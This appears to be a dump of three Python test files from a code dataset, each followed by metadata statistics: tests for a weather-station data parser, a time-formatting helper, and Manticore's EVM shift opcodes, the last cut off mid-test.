self.assertEqual(5.1, testee.get_uv_index())
def test_uv_index_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.UV_INDEX, "blah"))
self.assertEqual(None, testee.get_uv_index())
def test_uv_index_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.UV_INDEX))
self.assertEqual(None, testee.get_uv_index())
def test_no_field_for_uv_index(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.UV_INDEX-1))
self.assertEqual(None, testee.get_uv_index())
#################################
# Heat Index
#################################
def test_heat_index_field_populated(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.HEAT_INDEX_CELSIUS, "16.5"))
self.assertEqual(16.5, testee.get_heat_index().get_value(TemperatureUnit.CELSIUS))
def test_heat_index_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.HEAT_INDEX_CELSIUS, "blah"))
self.assertEqual(None, testee.get_heat_index())
def test_heat_index_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.HEAT_INDEX_CELSIUS))
self.assertEqual(None, testee.get_heat_index())
def test_no_field_for_heat_index(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.HEAT_INDEX_CELSIUS-1))
self.assertEqual(None, testee.get_heat_index())
#################################
# Outdoor Temperature Trend
#################################
def test_outdoor_temperature_trend_field_populated_rising(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.OUTDOOR_TEMPERATURE_TREND, "1"))
self.assertEqual(Trend.RISING, testee.get_outdoor_temperature_trend())
def test_outdoor_temperature_trend_field_populated_falling(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.OUTDOOR_TEMPERATURE_TREND, "-1"))
self.assertEqual(Trend.FALLING, testee.get_outdoor_temperature_trend())
def test_outdoor_temperature_trend_field_populated_steady(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.OUTDOOR_TEMPERATURE_TREND, "0"))
self.assertEqual(Trend.STEADY, testee.get_outdoor_temperature_trend())
def test_outdoor_temperature_trend_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.OUTDOOR_TEMPERATURE_TREND, "blah"))
self.assertEqual(None, testee.get_outdoor_temperature_trend())
def test_outdoor_temperature_trend_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.OUTDOOR_TEMPERATURE_TREND))
self.assertEqual(None, testee.get_outdoor_temperature_trend())
def test_no_field_for_outdoor_temperature_trend(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.OUTDOOR_TEMPERATURE_TREND-1))
self.assertEqual(None, testee.get_outdoor_temperature_trend())
#################################
# Outdoor Humidity Trend
#################################
def test_outdoor_humidity_trend_field_populated_rising(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.OUTDOOR_HUMIDITY_TREND, "1"))
self.assertEqual(Trend.RISING, testee.get_outdoor_humidity_trend())
def test_outdoor_humidity_trend_field_populated_falling(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.OUTDOOR_HUMIDITY_TREND, "-1"))
self.assertEqual(Trend.FALLING, testee.get_outdoor_humidity_trend())
def test_outdoor_humidity_trend_field_populated_steady(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.OUTDOOR_HUMIDITY_TREND, "0"))
self.assertEqual(Trend.STEADY, testee.get_outdoor_humidity_trend())
def test_outdoor_humidity_trend_field_populated_with_invalid_value(self):
testee = ClientRaw(self.__gen_populated_client_raw_str(ClientRaw.OUTDOOR_HUMIDITY_TREND, "blah"))
self.assertEqual(None, testee.get_outdoor_humidity_trend())
def test_outdoor_humidity_trend_field_empty(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.OUTDOOR_HUMIDITY_TREND))
self.assertEqual(None, testee.get_outdoor_humidity_trend())
def test_no_field_for_outdoor_humidity_trend(self):
testee = ClientRaw(self.__gen_empty_client_raw_str(ClientRaw.OUTDOOR_HUMIDITY_TREND-1))
self.assertEqual(None, testee.get_outdoor_humidity_trend())
def __gen_populated_client_raw_str(self, position, value):
if position > 0:
return self.__gen_empty_client_raw_str(position-1) + " " + value
else:
return value
def __gen_empty_client_raw_str(self, position):
clientraw_string_list = []
for i in range(0, position+1):
clientraw_string_list.append("-")
return ' '.join(clientraw_string_list)
if __name__ == '__main__':
unittest.main()
| 47.077228
| 119
| 0.713595
| 2,841
| 23,774
| 5.465329
| 0.045407
| 0.056225
| 0.074966
| 0.142204
| 0.918078
| 0.899594
| 0.856122
| 0.770464
| 0.717589
| 0.616925
| 0
| 0.00709
| 0.139732
| 23,774
| 504
| 120
| 47.170635
| 0.752102
| 0.017414
| 0
| 0.213592
| 0
| 0
| 0.008847
| 0
| 0
| 0
| 0
| 0
| 0.31068
| 1
| 0.317152
| false
| 0.016181
| 0.02589
| 0
| 0.355987
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
895e0fa1bacdd21c28e3cedcf1f43f735bdbc54e
| 404
|
py
|
Python
|
utils/tests/test_formatters.py
|
linguistgeek/music-cluster
|
1b6f0b90c6d0ddfedb513c0a967bee5466723198
|
[
"Unlicense"
] | null | null | null |
utils/tests/test_formatters.py
|
linguistgeek/music-cluster
|
1b6f0b90c6d0ddfedb513c0a967bee5466723198
|
[
"Unlicense"
] | 3
|
2015-01-31T18:54:09.000Z
|
2015-07-03T09:15:39.000Z
|
utils/tests/test_formatters.py
|
linguistgeek/music-cluster
|
1b6f0b90c6d0ddfedb513c0a967bee5466723198
|
[
"Unlicense"
] | 2
|
2018-01-23T12:51:05.000Z
|
2019-10-15T23:42:37.000Z
|
from utils.formatters import to_time_str
def test_to_time_str():
assert to_time_str(0) == "0:00"
assert to_time_str(2.6123) == "0:02"
assert to_time_str(12.3812) == "0:12"
assert to_time_str(3 * 60 + 5.4432) == "3:05"
assert to_time_str(3 * 60 + 32.6367) == "3:32"
assert to_time_str(20 * 60 + 59.7654) == "20:59"
assert to_time_str(1 * 3600 + 1 * 60 + 9.2346) == "1:01:09"
| 33.666667
| 63
| 0.618812
| 78
| 404
| 2.961538
| 0.423077
| 0.233766
| 0.350649
| 0.454545
| 0.155844
| 0.155844
| 0
| 0
| 0
| 0
| 0
| 0.2375
| 0.207921
| 404
| 11
| 64
| 36.727273
| 0.484375
| 0
| 0
| 0
| 0
| 0
| 0.079208
| 0
| 0
| 0
| 0
| 0
| 0.777778
| 1
| 0.111111
| true
| 0
| 0.111111
| 0
| 0.222222
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
897c5e1146cb2d01272acc375aacd42040e52193
| 33,860
|
py
|
Python
|
tests/ethereum/EVM/test_EVMSHIFT.py
|
dmgress/manticore
|
61a5f934363980705ea1eea9717600eff005791b
|
[
"Apache-2.0"
] | null | null | null |
tests/ethereum/EVM/test_EVMSHIFT.py
|
dmgress/manticore
|
61a5f934363980705ea1eea9717600eff005791b
|
[
"Apache-2.0"
] | null | null | null |
tests/ethereum/EVM/test_EVMSHIFT.py
|
dmgress/manticore
|
61a5f934363980705ea1eea9717600eff005791b
|
[
"Apache-2.0"
] | null | null | null |
import struct
import unittest
import json
from manticore.platforms import evm
from manticore.core import state
from manticore.core.smtlib import Operators, ConstraintSet
import os
class EVMTest_SHIFT(unittest.TestCase):
_multiprocess_can_split_ = True
maxDiff = None
def _execute(self, new_vm):
last_returned = None
last_exception = None
try:
new_vm.execute()
except evm.Stop as e:
last_exception = "STOP"
except evm.NotEnoughGas:
last_exception = "OOG"
except evm.StackUnderflow:
last_exception = "INSUFFICIENT STACK"
except evm.InvalidOpcode:
last_exception = "INVALID"
except evm.SelfDestruct:
last_exception = "SUICIDED"
except evm.Return as e:
last_exception = "RETURN"
last_returned = e.data
except evm.Revert:
last_exception = "REVERT"
return last_exception, last_returned
def test_SHL_0(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1b"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(1)
new_vm._push(0)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [1])
def test_SHL_1(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1b"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(1)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [2])
def test_SHL_2(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1b"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(1)
new_vm._push(255)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(
new_vm.stack,
[57896044618658097711785492504343953926634992332820282019728792003956564819968],
)
def test_SHL_3(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1b"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(1)
new_vm._push(256)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SHL_4(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1b"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(1)
new_vm._push(257)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SHL_5(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1b"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(0)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(
new_vm.stack,
[115792089237316195423570985008687907853269984665640564039457584007913129639935],
)
def test_SHL_6(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1b"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(
new_vm.stack,
[115792089237316195423570985008687907853269984665640564039457584007913129639934],
)
def test_SHL_7(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1b"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(255)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(
new_vm.stack,
[57896044618658097711785492504343953926634992332820282019728792003956564819968],
)
def test_SHL_8(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1b"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(256)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SHL_9(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1b"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(0)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SHL_10(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1b"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819967)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(
new_vm.stack,
[115792089237316195423570985008687907853269984665640564039457584007913129639934],
)
def test_SHR_0(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1c"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(1)
new_vm._push(0)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [1])
def test_SHR_1(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1c"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(1)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SHR_2(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1c"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819968)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(
new_vm.stack,
[28948022309329048855892746252171976963317496166410141009864396001978282409984],
)
def test_SHR_3(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1c"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819968)
new_vm._push(255)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [1])
def test_SHR_4(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1c"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819968)
new_vm._push(256)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SHR_5(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1c"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819968)
new_vm._push(257)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SHR_6(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1c"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(0)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(
new_vm.stack,
[115792089237316195423570985008687907853269984665640564039457584007913129639935],
)
def test_SHR_7(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1c"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(
new_vm.stack,
[57896044618658097711785492504343953926634992332820282019728792003956564819967],
)
def test_SHR_8(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1c"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(255)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [1])
def test_SHR_9(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1c"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(256)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SHR_10(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1c"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(0)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SAR_0(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1d"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(1)
new_vm._push(0)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [1])
def test_SAR_1(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1d"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(1)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(new_vm.stack, [0])
def test_SAR_2(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1d"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819968)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(
new_vm.stack,
[86844066927987146567678238756515930889952488499230423029593188005934847229952],
)
def test_SAR_3(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1d"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819968)
new_vm._push(255)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(
new_vm.stack,
[115792089237316195423570985008687907853269984665640564039457584007913129639935],
)
def test_SAR_4(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1d"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819968)
new_vm._push(256)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(
new_vm.stack,
[115792089237316195423570985008687907853269984665640564039457584007913129639935],
)
def test_SAR_5(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1d"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819968)
new_vm._push(257)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(
new_vm.stack,
[115792089237316195423570985008687907853269984665640564039457584007913129639935],
)
def test_SAR_6(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1d"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(0)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(
new_vm.stack,
[115792089237316195423570985008687907853269984665640564039457584007913129639935],
)
def test_SAR_7(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1d"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(1)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(
new_vm.stack,
[115792089237316195423570985008687907853269984665640564039457584007913129639935],
)
def test_SAR_8(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1d"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(255)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(
new_vm.stack,
[115792089237316195423570985008687907853269984665640564039457584007913129639935],
)
def test_SAR_9(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1d"
data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
gas = 1000000
new_vm = evm.EVM(constraints, address, data, caller, value, bytecode, gas=gas, world=world)
new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935)
new_vm._push(256)
last_exception, last_returned = self._execute(new_vm)
self.assertEqual(last_exception, None)
self.assertEqual(new_vm.pc, 1)
self.assertEqual(
new_vm.stack,
[115792089237316195423570985008687907853269984665640564039457584007913129639935],
)
def test_SAR_10(self):
# Make the constraint store
constraints = ConstraintSet()
# make the ethereum world state
world = evm.EVMWorld(constraints)
address = 0x222222222222222222222222222222222222200
caller = 0x111111111111111111111111111111111111100
value = 10000
bytecode = b"\x1d"
